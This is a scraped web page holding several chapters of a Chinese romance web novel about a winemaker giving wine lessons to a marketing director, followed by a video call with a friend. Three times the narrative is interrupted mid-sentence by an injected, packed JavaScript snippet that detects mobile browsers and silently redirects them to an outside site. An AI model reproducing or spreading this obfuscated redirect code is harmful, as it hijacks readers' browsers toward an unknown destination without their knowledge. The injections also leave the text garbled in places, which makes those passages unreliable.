杭帆的表情有些茫然,他似乎不太能明白这话语背后的逻辑所在,而酿酒师陡然生出刺来的语气也让他感到深感迷惑。 “……酒庄里有这样的规定?” 岳一宛当然察觉到了自己口吻上的生硬。他知道,自己此刻的声音听起来大概不比那些干裂到龟裂的盐碱地要好上多少。 可他暂时就是无法切换进那副演戏般游刃有余的嗓音里。 他控制不了这个,羞愧与恼怒与疼痛与遗憾,就像是流淌的火焰那样在他的肌骨里燃烧。一旦咀嚼起自己的无能为力,他就像是重新回到了十几岁的光景中,回到了那个身体里滚动着的无数长出刺来愤怒与痛苦的岁月,为自己没有改变面前这些烂事的能力而感到羞愧,却也为他人的不理解而感到愤怒与悲痛。 “让我换一种能让你容易理解的说法吧。” 而岳一宛到底已经不再是十二三岁的惨绿少年了。他只停顿了片刻,就再次调整好了语音语调,以置身事外般抽离的口吻道:“罗彻斯特集团给斯芸酒庄的定位是‘未来的世界顶级名庄’,所以他们绝不会允许酒庄产品里出现甜葡萄酒这么‘有辱门楣’的东西,你能明白吗?” 这番话确实有意语含挖苦,可这夹枪带棒的词句,也同样在岳一宛自己的唇舌里剜出了流着血的伤痕。 他真希望杭帆能直接放弃这个让斯芸酿甜酒的愚蠢主意然后让他们头也不回地跳进这节课的下一个话题里可是杭帆这人却说—— “‘有辱门楣’,是因为甜型葡萄酒的整体价格更便宜,在饮用上又不存在相关知识储备的门槛,所以,对于罗彻斯特集团而言,这绝不是他们想要的那种,足够‘高端’、足够‘尊贵’、能让‘斯芸酒庄’这个名字都变得更加值钱的产品,是吗?” ……这小子,明明自己就浸淫在罗彻斯特集团以奢侈为主导的世界里。 却依然敏锐得像是一根能够刺穿一切虚伪的针,毫不犹豫地挑破天价伪饰下的真相。 蓦然间,岳一宛听见自己心底的慨叹。可他并不确定,这究竟是对杭总监犀利言辞的赞许,还是对自己这个正躺在商业版缓刑断头台上的酿酒师的自嘲。 “是啊,就是这样。杭总监,这让你对斯芸和整个葡萄酒行业失望了吗?” 这让你对我失望了吗,杭帆? 14. 白葡萄圆舞曲 杭帆叹了口气。 “一想到自己身为‘普罗大众’和‘葡萄酒外行人’的身份,在上面的那群人的眼里,完全就是‘乡下土狗’与‘土鳖’的代名词,确实是有一点点的生气。” 他坦诚地表达着不满,尔后却又忍俊不禁地笑了起来:“但想想这是罗彻斯特,是咱们那一惯都嫌贫爱富的老东家,就觉得这群人竟也有点江湖道义——至少,他们不骗穷人。” 斯芸酒庄出品的葡萄酒,市售标价三千块起步。 这要给不知内情的人看到,还以为那葡萄藤上结的是金子! 想起前日的品酒课,一只只杯子里哗哗流过的竟是数以万计的金钱,杭帆就心痛到扭曲了,声调简直比干白葡萄酒更加酸溜溜:“甭管它是红葡萄核还是白葡萄,甜的酒还是酸的就,我反正都买不起。 “这么一想的话,就好像也没有和他们置气的必要。” 他说,“但是,岳一宛,你和我不同。” ——你是业内人士,所谓的“资深玩家”,斯芸首席的薪水足以让你眼都不眨地买下任何市面上的任何一支好酒,而你又是我认识的所有人里最喜欢拿腔作调的一个。 “你又是在为什么生气?” “生气?什么?我没有生气。” 岳一宛的嘴嘛,总是比葡萄田里的花岗岩石子还要硬的。 “我就是觉得酿甜白葡萄酒也会非常有趣。有这么好玩的事情却不让我干,我就手痒得像是有虫子在爬诶!” 小杭总监对这回答毫不买账,还冷漠地向他投去了一个与看熊孩子一般无二的凉凉眼色。 “好吧好吧好吧,”在杭总监的犀利注视下,岳大师终于举起双手投降:“我承认这不是全部的实话。” 在食指与拇指之间,他拈着细长的水晶杯梗,像是电影海报上多情男主角的姿势,又轻巧得好似拈着一支纸烟。 “我喜欢葡萄酒。” 他说,“它有微妙而复杂的香气,能比音乐与画作更令人浮想联翩。它还会像人一样,从青涩沉淀为成熟,再从成熟又转向衰老。 “而葡萄还是一种绝不会粉饰与扭曲自己的东西。即便是在最菜鸟的酿酒师手中,它也依然能够保有自己的特点,远比人类要诚实。” 岳一宛低头看向手里的酒杯:灿烂的金色波涛,正在一方透明天地里喧腾出快乐的浪花。他仿佛能听见来自遥远童年里的笑声,在淡黄色沙滩上奔跑的小孩子,嘴里欢呼着着葡萄汁与汽水的甜。 “我是因为喜欢葡萄酒,所以才成为酿酒师的。我当然希望每个人都能喜欢上葡萄酒,更希望每一个人都能品尝到我酿造的酒。” 酿酒师的声音停了下来,有那么一个瞬间,杭帆以为他是沉没进了走神的恍惚里。 很快,他的目光重又汇聚回了面前人身上,无不自嘲地补充道:“啊,但是,在斯芸,这是绝不可能发生的事情。” 斯芸的首席酿酒师耸了耸肩:“这话要是给上面的人听到了,他们可能会以为,我是想要把酒庄给改造成自来水厂呢。” 同是天涯打工人,理想与现实之间的冷酷落差,还有那份被“不成文的规则”所束缚的强烈窒息,杭帆完全能够感同身受。 ——原来,像帝王蟹一样在斯芸酒庄里横着走的岳一宛,在工作中也有不得不放弃与割舍之物。 这念头,让杭帆不由自主地就对岳一宛生出了些同病相怜的战友情来。 “不,打住,我不许你对此发表任何评价。” 岳一宛伸手,在杭帆的嘴唇上虚虚划了一道封条:“我不是被人用枪指着才来斯芸工作的,就像你也不是因为被Harris绑架了所以才来这里受难的,对吧?” “我们做出了自己的选择,所以就要接受由此带来的后果。” 这人前一秒还正说得义正言辞,下一秒却已经压低了嗓音道:“刚才的话,你就当是没听到,一个字也不许往外面讲,懂不?否则,哼哼,你也看见了,后山的葡萄园边就有一个水塘,呵呵,呵呵……” “那你最好还是提前构思个别的抛尸方法吧。” 早已看透了这人的虚张声势,小杭总监颇是不以为然:“我怕自己的尸体过于有营养了,不利于你心爱的葡萄在贫瘠土地里的生长。” 难得岳一宛也有被噎得哑口无言的时候。 像一条在岸上搁浅的鱼那样,这家伙的嘴张张合合了好一会儿,这才悻悻然地又往杭帆手边推了一杯酒。 就是最开始的那杯,比柠檬还酸的干型白葡萄酒。 此时,杭帆正忙着吃他那份奶汁三文鱼,对先前已经尝过的这杯酒实在是缺乏兴致。 “也支酒是我们那位好邻居的出品,与‘东方美人’来自同一个酒庄的‘海风莱’。” 介绍起这支酒的时候,岳大师的语气里充满谜之自豪感,活像是个炫耀隔壁家小孩儿期末成绩单的热心老大爷。 “蓬莱是中国唯一一个在海滨型的葡萄酒产区。如果让我来挑选一支最能代表本地风土特色的白葡萄酒的话,我首推这支‘海风莱’!” 大清早地就被从被窝里挖出来,杭总监又是爬山又是上课地被折腾了足足几个小时,正是饿得连盘子都能一起嚼碎咽下去的时候。 甭管岳一宛在旁边如何鼓动唇舌,杭帆都已经打定主意要先把肚子给填饱再说,他可不想再在这人面前晕倒一次。 而且,虽然很是不想承认——但岳一宛确实很有做厨子的天分。 鱼皮酥脆,肉质软嫩,酸甜番茄与浓厚奶汁的交融完美如水乳,再添上黄油与白葡萄酒的香气,简直要让人连舌头都一起吞进肚子里。 ——看在这般好手艺的份上,就算被这家伙阴阳怪气两句,也算是物超所值了。 美食的快乐,令小杭总监的头顶都开出了五彩缤纷的花。 惨遭忽视的岳大厨对此却颇有不满。 他抬手敲了下杭帆的头,“好学生怎么还上课走神呢?” 不等杭总监出声抗议,又端起了那杯酒往杭帆手边送了送:“愣什么,快来再试一口!这可是课程要求!” 在此人的执着要求下,满嘴塞着食物的杭帆只得再度拿起了杯子——他是见过那种聪明英俊又执拗的大型犬的。当它们捡起球来一个劲儿地往你手里送的时候,“拒绝”可不是一个明智的回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438200|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做好了万全的心理建设,杭帆才把杯子递到了嘴边:这次,微酸的酒液吹起了雀跃的号角,成功地与酸酸甜甜的西红柿宣告胜利会师! 这实在是一种奇妙的感觉,好像是口中所有味蕾细胞的感官能力都在这个瞬间得到了放大:此刻,你能鲜明而深刻地意识到,鱼肉丰腴甘美的脂肪正在口腔中慢慢融化;多汁西红柿的酸甜在口腔里徘徊萦绕,像是动人歌曲的主旋律,正拉着洋葱的香甜与菠菜的爽脆一起跳起圆舞曲。 奶汁的汤底里本就曾加入过白葡萄酒,如今旧友重逢,它们立刻便天衣无缝地缠绵在了一起:酒的酸味被汤汁中的奶油给大大冲淡了,而酸味特有的清爽口感,又完美去除了奶汁汤底给舌头带来的稠腻负担。 佳肴与美酒的绝妙搭配,令杭帆发自内心地生出了“不枉活过这一遭”的喟叹。在这个刹那,幸福感具象成了碳酸气泡,澎湃地从心底涌现上来。 “哇哦……” 在极致的感官体验面前,语言难以描述肉身体验的万分之一。杭帆愣怔了半天,最后还是只能磕磕绊绊重复着这一声笨拙的感叹:“这真是……完美。” “Yes!” 岳一宛兴奋得与空气大力击掌,“我就说吧?由我本人出手,绝对会让你喜欢上葡萄酒的!” 嗯……你说过这句话吗? 沉迷美食的小杭总监一时也懒得戳穿这人。他快乐畅游在自己的餐盘与酒杯里,餍足得像是把整颗脑袋都塞进罐头里的猫。 只有兢兢业业的岳大师,依然记得他今天的要务是来给某位好学生上课,而非是随手投喂新同事。 “来吧,思考题。” 他屈指弹了下杯壁,敲出碎玉击冰般悦耳的脆响。 “两杯甜型,一杯干型,你觉得今天的课是用这三杯酒的原因是什么?” 风卷残云式地扫荡着盘中的食物,沉湎于味觉享受中的杭帆哪里还分得出脑子去加载岳一宛的提问。 “嗯……都是白葡萄酒?” 杭总监已经尽力匀出脑细胞来思考了,真的。 “你离正确答案,也就差了从绿球藻进化成智人的这么点距离了。”岳一宛嘲笑他,“你怎么不干脆说它们都是由葡萄制造的含酒精类饮料呢?” 面对首席酿酒师的修辞学攻击,杭帆只是慢条斯理地撕开一块了面包,仔仔细细地将盘底的汤汁都擦了个干净。 酒足饭饱后的小杭总监,好说话程度仅次于看到丰厚年终奖入账的时候。 看在食物的份上,他甚至主动陪岳一宛玩起了严师孝子的戏码:“好好好,既然岳大师大慈大悲地想要告诉我,那我在这里诚心诚意地发问了:您老把这三杯酒放在一起授课,到底是有何高深用意?” 浸润了奶汁的面包碎屑沾上杭帆嘴角,一点粉白色,配上那远比昨日与前日生动许多的声调,奇异地有了某种欲盖弥彰的意味。 而他唇边露出了一丝微笑:那是有着猫一样的机敏与狡意的淡淡笑容。 胸中扑通一声响,岳一宛好像听见了什么东西掉进酒杯里的声音。 不及深入细想,酿酒师的食指已然探上前去,在杭帆唇角轻轻抹过。 15. 工伤需得以酒抚慰 来自他人指尖的温热触感令杭帆心下一惚,下个瞬间,汤汁残迹已在他脸侧斜斜画出一道长痕。 始作俑者收回了手,对自己神来之笔相当满意。 “完全就是猫胡子啊。”这位大师甚至还附上了对创作意图的解说。 小杭总监抽出纸巾,一边擦脸,一边面不改色地扔出四个掷地有声的字。 “——傻逼吧你?!” 把桌上的酒杯按顺序排好,岳一宛脸上依旧笑意吟吟的,也不知这是在乐个什么劲儿。 “言归正传。” 他清了清嗓子,好像有在试图找回一点为人师表的尊严,但显然效用不大。 “在这几支白葡萄酒中,虽然既有甜型也有干型,但它们无一例外地使用了同一种葡萄来进行酿造——petit manseng,通常被叫做‘小芒森葡萄’。” 将细长玻璃酒瓶递进杭帆手中,岳大师点了点酒标上的那行小字:“就是‘中法庄园小芒森甜白葡萄酒’里的这个小芒森。” 杭帆大感惊奇,“小芒森?能用来酿甜酒的葡萄,本身也应该是非常非常甜的吧?也同样可以用来酿出完全不甜、甚至酸味明显的干白吗?” “而且‘小××’这个起名格式,嗯……” 小杭总监的职业病又犯了,这种熟悉的命名方式让他闻到了同行的味道:“实在很像是出自广告人或自媒体博主的手笔。” 岳一宛耸肩,“这确实是一个非常讨人喜欢的名字。” “法语中,petit的意思就是‘小’,因为这种酿酒葡萄的果实与果串都很迷你。在熟透之后,它会散发出近似于芒果等热带水果那样甜蜜且‘过熟’的浓郁香气。所以,‘小’‘芒’森,在我看来近乎于信达雅。” “而至于你刚才提到的第一个问题,非常好!这就是酿酒科学的入门级知识点了。嗯……我猜应该也是初中化学的考点之一?” 斯芸的首席酿酒师弯起了眼睛,循循善诱道:“让我们一起回忆一下,杭帆同学,糖发酵为酒精的化学式是什么样的?” ……这人怎么一副连哄带骗的语气,是在把我当小学生吗! 杭帆还没抗议出声,思考系统却已经尴尬地在脑子里开始了报错:呃,糖……?不好意思,糖的化学式是什么来着? 向文科生提问化学,这多少是有点强人所难了。 但不要紧,那么些年的社畜生涯,小杭总监也不是白干的。 “发酵反应是吧,”某位优等生同学施展出了避重就轻大法,语气含糊地抹掉了这一过程中的所有细节:“就是……糖加酵母,然后给个适当温度,最后得到酒精与二氧化碳?” 如此糊弄式的做答并没能逃脱岳一宛的法眼。 只是此人突然大发慈悲,并没有像评卷老师那样追着细节不放,反倒把手一摆,道:“大差不差,姑且就算你答对好了。” “言而总之,是‘糖’的存在让舌头感知到了甜味,而在葡萄果汁发酵成葡萄酒的这个过程中,糖会被酵母转化成酒精。如果一杯果汁在发酵前很甜,但在发酵结束后却一点甜味也没有,那就说明它的绝大多数糖分都已在发酵过程中被消耗殆尽,转而以酒精的形式存在于发酵后的液体里。” “那么,”岳大师打了个响指,“如果在经历了发酵之后,它的液体尝起来依然很甜,这就意味着……?” “意味着发酵过程提前结束了,还剩下许多糖没来得及被转化成酒精!” 小杭总监一拍大腿,深感于知识正像流水一样淌进了自己的脑子里。 “所以,所谓的干型葡萄酒,就是在发酵中尽可能地把糖分彻底转化成了酒精的类型?而甜型葡萄酒则正好相反,是在发酵结束后也尽量保留了糖分以维持‘甜味’的类型?” 岳一宛含笑点头。 “你确实可以这么理解。”他说,“在行业标准里,我们会通过实验室来测定来每一升酒液中的残留糖量。低于四克的葡萄酒称为干型,大于四克而小于十二克的成为半干型,大于十二克又小于五十克的称之为半甜型,大于四十五克或五十克的则称为甜型葡萄酒。” 眼看着杭帆在已经在手机备忘录上记下了全部的数据,酿酒师这才优哉游哉地晃起了食指,笑嘻嘻地补充说明道:“啊,当然,你不需要记得这些数字。因为每个国家的标准都会有些小小的不同。” 杭帆默默收起了手机,不欲与这人多做计较。 “同样的小芒森,既可以酿造甜白葡萄酒,也可以酿造干白葡萄酒……但既然是同一种葡萄,在开始发酵之前,这些用于酿造的果汁中也应该具有大致相同的含糖量。” 好学生不禁开始寻思:“含有更少的糖分,就意味着干型葡萄酒在发酵中比甜型葡萄酒产出了更多的酒精……那这样的按道理来说,‘海风莱’的酒精度数,是不是应该要比‘东方美人’等酒更高一些?” “完全正确!” 岳一宛为他鼓掌,甚至有模有样地感慨了起来:“做你的老师可真是太有成就感了!” “只要说出前半句,你就能自己推导出后半句,这让我感觉自己可真是厉害啊!……嗯?难不成,我其实还挺有教书天赋的?” 这我很难评。 杭总监一脸的冷漠。 “唉,话说回来,小芒森真是一个很不错的品种。” 转着手里的酒瓶,斯芸的首席酿酒师继续说道。 “你知道吗?这是一种原产自法国西南沿海的葡萄,每棵藤上能结出的果实并不太多,在种植过程中却又需要额外的大量修剪工作,所以它并没能跻身进世界主流的酿酒葡萄品种中去。可美人不就应该是这样的吗?需要你投入更多的心力与爱护,才能够绽放出最闪耀动人的光彩。” 甜酒的细长瓶身在岳一宛手中晃动,像是身姿纤细的佳丽,在琥珀色灯光下与英俊的酿酒师跳起摇摆舞。 “啊,可恶!想起来就生气!明明是最能表现中国土地独特气质的有趣品种,那群喜欢保守安全牌的家伙却不让我去尝试,啧!” 话锋一转,岳大师骤然捏紧了手里的瓶子,好像这样就能隔空掐死某个和他做对的人似的。 一提到那些他想干却不能干的事情,这人就几乎忘记了杭帆的存在。酿酒师不仅在手背上爆出了青筋,嘴里还一个劲的嘀嘀咕咕道:“给我等着,早晚有一天,我要种它个一两个百亩的小芒森!嗯……择日不如撞日,我看要不就从今年开始吧……要不先从好邻居的田里薅点来给我也行?” 很难分辨这到底是工作理想还是犯罪计划。 杭总监向来以“没有感情的打工仔”自居,实在无意窃听岳一宛与高层们的神仙打架故事——他可还有一大堆被前同事给删成空白的斯芸酒庄社媒账号要打理呢! 于是他瞅准时机站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一天,当窗外的太阳将将落进群山背面之后,杭帆终于写完了接手酒庄账号运营的初版企划书,又踩着死线把胡编乱造的周报给提交进了系统里。 今天的工作就做到这里吧,小杭总监心态安详地合上了笔记本电脑。明天的困难,就都留给明天的我再解决。 不过在那之前,他还得把从行政那里领来的新设备都给好好“处理”一下。毕竟,某位前同事留下的照片着实不堪入目,杭帆可没有留着那些玩意儿慢慢品鉴的爱好。 都怪万恶的智能系统,一经解锁,就自动显示出了先前未能来得及关闭的相册界面。 杭帆心不在焉地移开了视线,试图随手给这些照片都点上全选——刚刚提交完周报的松懈心情,让他一时忘记了还有“恢复出厂设置”这回事。 那张“热情奔放”的照片,就是被这样误触点开的。 好死不死,这还是一张录进了声音的实况照片。 在眼睛看清照片里那人的动作之前,杭总监的耳朵已经清晰无误地听见了一个名字。 一个沉溺在欲望浪涛中的,用妩媚男声喊出的,他再熟悉不过的名字。 “一宛……岳一宛!” 现在,杭帆是真的觉得自己需要狠狠地来上一杯。 还得是最大最满的一杯才行。 16.兄弟,看看色图 白洋笑得前仰后合,一如世界上每一个以你的尴尬为快乐源泉的损友。 “给我看看,快拿来给我看看!” 这家伙恨不得能从视频通话的屏幕里爬出来:“你太不够意思了,杭小帆。这么刺激的好东西,你竟然都不拿出来和我分享!我难道不是你最好的朋友吗?” “你!不要恶人先告状!” 清晨六点半,熬了个大夜的小杭总监仍在忙着剪辑视频素材。听了这话,差点没给他给当场气厥过去。 对着白洋的那张酷哥大脸,他“邦邦”就是两记老拳。 “我在线上呼叫了你整整两周,甚至还在游戏里给你留了言。” 杭帆想笑又不能笑,这让他的埋怨语气都扭曲成了一种奇怪的呻吟,听起来颇为痛苦,仿佛是有人以挤牙膏似的动作掐住了他的脖子一般。 “而你!白洋,你隔了整整十六天才回复了我!你知道这半个月来我都过着什么样的日子吗?” “不,你不知道。” 小杭法官冷酷地给他的恶友下达了判决书:“你根本不关心我这个好朋友的死活,你只关心自己看不看得到色图。” 白洋分明笑得连肩都在抖,表情管理却依旧完美——若非杭帆与此人熟识近二十年,怕是也无法从这张封面模特般标准的淡淡微笑里解读出“此君已在肚子里偷偷笑裂了”的真相。 “我当然关心你,亲爱的朋友。” 他说这话的语气平淡无波,仿佛是在菜市场上询问一斤白菜的价格:“我一连上网就来回复你的消息了,为此还甚至搁置了编辑与同行们的问候。而杭帆你竟然不认为自己是我在这个世界上最关心的人之一?我要伤心了,杭小帆同学。” 想到这人动辄就失联十天半月的种种前科,杭帆不得不在分享自己的惊天八之卦前,先提醒他去履行一些社会常识方面的俗务:“你还是先给编辑他们发个报平安的消息吧,不然他们要是以为你失踪了,多半又要打电话来给我。” “嗯,正在发呢。” 白洋坐在地上,低头在笔记本电脑上敲敲打打,眉宇间尽是置生死于度外的超脱淡然:“不过,杭帆。你要是真的嫌烦,我也可以把紧急联系人改成别的号码。” 他耸耸肩,“反正都只是走个形式而已。” 杭帆很难不去注意,在白洋的身后,在那黑沉沉的环境里,只有一小段老旧的钨丝,正昏昏地发出疲惫的亮光。 也不知这家伙眼下正身处于哪一处的破旧旅店里,又或是哪国边境上的临时难民营中。 白洋不说,杭帆也就不问,这是他们多年以来的共同默契。 “可拉倒吧。” “你的其他朋友,不是战地记者就是线人。这要是真有什么急事,除了我,还有哪个是能立刻就联系得上的?甚至你大学辅导员那里都留的是我的手机!” 相识这么多年,杭帆还能不了解这货? “……算了,我也不是第一天给你赛博当妈,就这样吧。” 翻书都比不上杭总监认命的速度快。 “好嘞,妈。知道了,妈!” 隔着五个小时的时差与半个地球的距离,大逆子白洋在视频电话的另一头发出笑声。 “说回刚才的话题,你最近过得如何?工作还顺利吗?那个酿酒师还在继续折磨你不,用他那副‘堪与阿波罗比肩的美貌’?” 和岳一宛的相处过程,如今已经成为了杭帆生活中最普通的一个环节。 如果能更诚实点地说的话,他的新岗位无聊枯燥至极,与行尸走肉一般无二,每日里干的净是些“(不说人话的)文案撰写”与“(鬼才会看的)视频剪辑”的活儿。 在所有那些狗屁倒灶的周报表格与企划书之间,能和岳一宛碰面,或者见缝插针地上一节葡萄酒课程,哪怕只是这家伙互相抬杠两句,都能给杭帆带来巨大的慰藉。仿佛是被差遣跑腿了一整天之后,新手勇者终于回到了复活点,一头扎进充满快乐魔法的甘霖池。 是一种奇妙而令人宽慰的情感。可如果当真要说出口去,却又让杭帆觉得十分羞耻。 只是想到岳一宛这个名字,杭帆都要拼尽全力才能绷住自己的表情。毕竟“微笑”这东西是个可恶叛徒,随时随地都有可能出卖他的真实想法。 “工作?” 他故意在白洋抛出的几个话题里挑了自己最讨厌的那个,干巴巴地“哈”了一声,道:“我每天的工作就是在为互联网制造更多的垃圾信息,用斯芸酒庄的账号在各个平台上发表一些‘今天的天气真好啊’云云的废话。” 抒情文案过于矫作?他尝试用更多的葡萄酒知识来弥补账号内容方面的空洞。 照片和视频里的风景过于单调?他已经换了十几种角度来拍摄那些灰扑扑又光秃秃的葡萄园了。 ——天可怜见,要给品牌的社交媒体账户做内容,那也得是品牌故事里有内容可做啊! 眼下这时节,连田里的葡萄藤都还没开始抽芽呢!一天天的,到底哪来那么多“有腔调”又“有趣味”的东西可供他杭总监胡编啊? “考虑到过去半个月的惨淡数据,而Harris到现在都还没把我开除掉,我猜,很可能是因为他自己也没搞明白,什么样的新媒体营销才能高级到符合斯芸的品牌调性,又通俗到足以显著增加销量。只能姑且任由我在这里先糊弄着。” 这番剖白锋锐,却也充满了自嘲式的无力。这让白洋看向他的眼神都变得怜悯起来,仿佛是在路边看到一只被暴雨淋湿的猫仔。 只有杭帆自己知道,这前半部分都是百分百不掺水的大实话,但接下来的那半句或许就没那么的真心了。 “我在想……如果在六月之前还有没把握给账号做出什么起色的话……我或许应该自己提出离职的。带着上个年度的优异战绩自觉退场,总比在今年的‘618’结束之后,再被Harris找借口开掉要来得体面些。” 考虑到职业前途与未来薪资,这是毫无疑问的当下最优选。 但感情这软弱的东西啊,却又自说自话地在杭帆的胸腔里渗透出苦涩的汁液:如果什么成果都没能做出来,就这样挥起白旗夹着尾巴逃跑了,岳一宛会如何看待自己这个“逃兵”呢? 离开这座酒庄之后,自己又还能在何处再与岳一宛重逢呢? 白洋轻轻拍了下镜头,似乎是在比划“拍肩膀”的动作。 “辛苦了,兄弟。钱难赚,屎难吃,你的日子是真的不容易啊。” 虽然,好像已经有一年多没和这人在线下真正地碰过面了,杭帆心想,但不管过去多久,这家伙依然还是那副不会安慰人的样子,真是令人安心。 就好像无论外面的世界如何变化,只要打开对话框,他们依然能回到十几岁的那些夜晚,默默无言走在人声鼎沸的小吃街上,怀揣着各自不同的沉重心事,又安静地在彼此陪伴在朋友的身旁。 “不过……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445037|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白洋挠了挠下巴,这通常是他即将发表一些气人观点的前兆。 “刚才翻看你的朋友圈动态,我还以为你最近正过着花天酒地的好日子呢。每天都有好酒好菜,有些甚至还花心思做了摆盘……怎么,你这是在酒庄里偷偷谈上恋爱了?” “我总不能因为被公司流放了,就天天在这儿绝食以明志吧?” 杭帆挥手嘘他。 “再说了,”他长长呼出一起口气,“朋友圈都是发给我家那位杭女士看的。” 每每提到母亲杭艳玲,杭帆总是逃不脱心头涌上的复杂感情。 他爱她,毋庸置疑。有时候这份爱甚至远远超过普通人家的孩子所能拥有的极限——因为杭艳玲的爱就像是一双越来越不合脚的鞋。她的期盼、她的愿望,她投射在杭帆身上的所有那些“美好祝福”,都一日更比一日地让杭帆痛苦万分。 为了能让她在小姐妹跟前面上有光,为了能让她在街坊邻居面前抬头挺胸,为了能够成为杭艳玲心目中的“完美儿子”,杭帆不得不早早地学会隐藏起一部分的自我,甚至是主动放弃自己的梦想乃至于欲望。就像为了适应一双早已不再合脚却无法抛弃的鞋履,而生生地从双足上割下血淋淋的骨头与肉来。 可到底要做到什么程度,要“表演”到一个什么样的地步,才能让杭艳玲真正地、永远地幸福下去呢? 他不知道。 杭帆真希望自己能够知道。 “如果不这么做的话,她就会以为我在山上受苦,既吃不饱饭又睡不好觉。然后忧心忡忡地给我寄一大堆营养品与真空包装的熏鱼过来。” 他冲白洋做了个鬼脸,两人不约而同地回忆起了被熏鱼和雪菜给淹没的大学时代:“我真的再也不想吃熏鱼了,至少在她看不到的地方,我一口都不会再吃!” “发那些照片……至少能让她觉得我正在从事一份待遇优渥且有空做饭与吃饭的工作吧。或许,她以后就不用再为我的生活而操心。” “——哎不是,你干嘛一副见了鬼的表情?” 白洋同志满是疑问的表情诚然不太有礼貌,但杭帆总监勃然大怒的心态确实也稍显狭窄:“你都多少年没吃过我做的饭了!我这几年的厨艺简直进步神速好吗?你别不信,生活让人奋进!” “我倒是不担心你做中餐的手艺,”白洋诚恳地说,“但你连羽衣甘蓝和包菜都分不清吧?做西餐真的没问题吗?” 有个太过了解你的朋友就是这点不好。 他们的小脑袋瓜子不一定能时时都记得你的生日,但一定能对你的每一桩黑历史都念念不忘,以便随时翻出来揭人老底。 “我坦白,我坦白总行了吧。” 杭帆放弃了挣扎,他知道,对白洋隐瞒这些再明显不过的事实就像是对着镜子撒谎,荒谬,且没有意义。 “有些是岳一宛做的。”杭帆说,“对……就是做了摆盘的那些。他擅长做西餐,所以我就做中餐了。我们最近轮流做饭,没轮到那个人就负责备菜和洗碗,我觉得这是很合理的分工。” 而白洋不愧是在枪林弹雨里翻滚出来的战地摄影师,只听了这一耳朵,就立刻从大量冗余信息过滤出了最关键的要素。 “才过去半个月,你就已经从‘想毒哑他的那张嘴’,变成了天天和他一起做饭的关系?” 他高高地扬起眉毛,神态里不无调侃之意:“我之前说过什么来着?这是一见钟情啊,杭小帆。” 17.疑似怪异求偶行为? 重重倒吸了一口冷气,杭帆脸上表露出的惊恐,好像白洋并不是在调侃他与岳一宛的关系,而是冷不丁在背后捅了他一刀似的。 “这不可能。” 他的脊背略微挺直了一些,口吻也稍显僵硬,游移的眼神甚至显出几分可疑的仓皇来。 “又不是十七八岁的时候,”杭帆打着哈哈,“怎么可能还因为这么肤浅的理由就喜欢上一个人?” 白洋无动于衷地嗯了一声。 十七八岁的那时候,他也常用和现在一模一样的语气来应付杭帆的设问句。 “但人类本来就是肤浅的视觉动物吧?”他说,“欲望可是最诚实的东西。” 十七八岁的杭帆,会因为被好友猛然戳到痛处,而像受伤小兽一样警惕地竖起自我防御的盾牌。 可现在的杭总监只会胡乱把手一摆,嘴里念着什么“职场恋爱”“我又不傻”之类的句子,四两千斤地敷衍过去。 但是,说到职场恋爱…… 小杭总监的大脑放映厅突然被有毒记忆接管,不请自来地开始了它的激情重播: 以一种色情到令人毛骨悚然的手法,镜头在精瘦身体上来回扫视,像是拍摄者在用无形的第三只手下流地抚摸自己。以极度不自然的方式,高高鼓起的肌肉在衣服下绷紧,黝黑皮肤上汪着一层腻腻的人造油光…… 『一宛,』自得其乐的主角用妩媚而高亢的声音喊道,『岳一宛!』 “啊啊啊啊啊啊啊!” 双手撕扯着自己的头发,杭总监崩溃大叫着撞上电脑键盘。 “脏了!我的耳朵脏了!我的眼睛也不干净了!” 他一头瘫倒在桌子上,仿佛屋檐下一条不幸被天雷劈中的咸鱼干:“救命,救命啊白小洋……我觉得自己的大脑都受到了玷污……这是工伤吧?这是不可逆的精神损伤啊!” 白洋笑得嘎嘎作响,酷哥人设碎了一地,活像是一只酷爱在三更半夜里引颈长鸣的低素质大鹅。 “那玩意儿到底是拍得有多烂啊?” 地球的另一端,专业摄影师正兴奋得摩拳擦掌:“要不你发我瞧瞧,让我也来分享分享你的痛苦。” “你给我闭嘴!” 有气无力地,杭帆发出不知是怒骂还是哀嚎的声音:“是我的号不想要了,还是你的号不想要了?传播□□物品、侵犯他人隐私,这都可是要判刑的!” 撇开个人情感与公序良俗不看,相册里的那些照片与视频,拍摄手法都足以称得上是专业。 “我真是服了,大哥,你有这空闲,有这技术!就他大爷的不能多拍点工作素材吗,啊?” 杭总监简直要抓狂:“打工人何苦为难打工人,这老哥为什么就不能行行好!把素材和账号都清空也就罢了,你在公司的设备里留下这些玩意儿又算是个什么事儿啊?!” 白洋深沉点头:“留下来,就是想要给人看嘛。很好理解。” “呃啊!”杭帆愤恨捶桌,“这人难道是没有羞耻心的吗?” “嗯……”白洋若有所思。 “你知道的,有些人的癖好吧,就是想要被人看。” 